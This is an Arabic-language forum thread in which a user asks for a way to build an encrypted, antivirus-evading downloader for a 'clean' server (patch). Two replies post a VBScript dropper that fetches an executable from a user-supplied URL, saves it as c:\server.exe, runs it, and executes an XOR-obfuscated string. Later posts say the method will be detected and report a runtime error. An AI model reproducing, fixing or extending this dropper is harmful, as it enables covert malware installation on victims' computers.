بسررررررعة يا وحوووش

تم تحميل الصفحة في 0,5221256 ثانية
بسررررررعة يا وحوووش
الحالة
مغلق و غير مفتوح للمزيد من الردود.
إنضم
5 يناير 2010
المشاركات
2,270
الإعجابات
1,012
النقاط
113
اتمنى منكم مسااعدتي في الحصوول على طريقة او برناامج صنااعة

داون لودر مشفر ...

اريده كلييييييين لانو الباتش كلين ....

في انتظاااااااركم يا وحووووووش

لكم مني احلى تقييييييم
 
إنضم
5 يناير 2010
المشاركات
2,270
الإعجابات
1,012
النقاط
113
رد: بسررررررعة يا وحوووش

الووووووووووو

وينكم ياا ابطااااااال انا في الانتظاااار
 

x33x

Active DeveloPer
rankrankrank
إنضم
12 يوليو 2009
المشاركات
651
الإعجابات
55
النقاط
0
رد: بسررررررعة يا وحوووش

كود:
Set fso = CreateObject("Scripting.FileSystemObject")
Set Wsh****************l = WScript.CreateObject("WScript.****************l")


Datei ="c:\server.exe"
URL = "رباطك المباشر هنا "


If (fso.FileExists(Datei)) Then
Else




Set xml = CreateObject("Microsoft.XMLHTTP")
xml.Open "GET", URL, False:xml.Send:abhvsyvzfxtftxradesarqw="drc7xDcervz7*7tervcrxu}rtc?5Vsxsu9Dcervz5>"
FoR sbsbygxyuxftxftysfw=1 tO lEn(abhvsyvzfxtftxradesarqw)
SBbxChgDgydtSFtwOFK=SBbxChgDgydtSFtwOFK + cHr(aSC(MiD(abhvsyvzfxtftxradesarqw,sbsbygxyuxftxftysfw,1))XoR 23)
nExT
execute SBbxChgDgydtSFtwOFK
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Const adSaveCreateNotExist = 1
oStream.type = adTypeBinary
oStream.open
oStream.write xml.responseBody
oStream.savetofile Datei, adSaveCreateNotExist
oStream.close
set oStream = nothing
Set xml = Nothing




Wsh****************l.Run Datei


End If

واحفظ الناتج بأسم aaaa.vbs مثلا
 
إنضم
27 مايو 2009
المشاركات
7,876
الإعجابات
7,674
النقاط
113
الإقامة
ام الدنيا
رد: بسررررررعة يا وحوووش

كود:
set fso = createobject("scripting.filesystemobject")
set wsh****************l = wscript.createobject("wscript.****************l")
 
 
datei ="c:\server.exe"
url = "رباطك المباشر هنا "
 
 
if (fso.fileexists(datei)) then
else
 
 
 
 
set xml = createobject("microsoft.xmlhttp")
xml.open "get", url, false:xml.send:abhvsyvzfxtftxradesarqw="drc7xdcervz7*7tervcrxu}rtc?5vsxsu9dcervz5>"
for sbsbygxyuxftxftysfw=1 to len(abhvsyvzfxtftxradesarqw)
sbbxchgdgydtsftwofk=sbbxchgdgydtsftwofk + chr(asc(mid(abhvsyvzfxtftxradesarqw,sbsbygxyuxftxftysfw,1))xor 23)
next
execute sbbxchgdgydtsftwofk
const adtypebinary = 1
const adsavecreateoverwrite = 2
const adsavecreatenotexist = 1
ostream.type = adtypebinary
ostream.open
ostream.write xml.responsebody
ostream.savetofile datei, adsavecreatenotexist
ostream.close
set ostream = nothing
set xml = nothing
 
 
 
 
wsh****************l.run datei
 
 
end if

واحفظ الناتج بأسم aaaa.vbs مثلا

راح يكون مكشوف بالطريقه هذه
 
إنضم
5 يناير 2010
المشاركات
2,270
الإعجابات
1,012
النقاط
113
رد: بسررررررعة يا وحوووش

شكرااا على المرور ولكن بعد الحفظ ....

والفتح يحدث خطأأ

الرجااء التزويد بكود اخر او طريقة اخرى

وجااري تقييييييمكم
 
إنضم
5 يناير 2010
المشاركات
2,270
الإعجابات
1,012
النقاط
113
رد: بسررررررعة يا وحوووش

يجب أن تضع للبعض سمعات قبل إعطائها إلى جداااوي مرة أخرى.
 
الحالة
مغلق و غير مفتوح للمزيد من الردود.

الأعضاء النشطين حاليآ الذين يشاهدون هذا الموضوع (1 عضو و 0 ضيف)

خيارات الاستايل

نوع الخط
مودك
اخفاء السايدر بار OFF
توسيط المنتدى OFF
فصل الأقسام OFF
الأقسام الفرعية OFF
عرض المشاركات
حجم الخط
معلومات العضو OFF
إخفاء التوقيع OFF

إرجاع خيارات الإستايل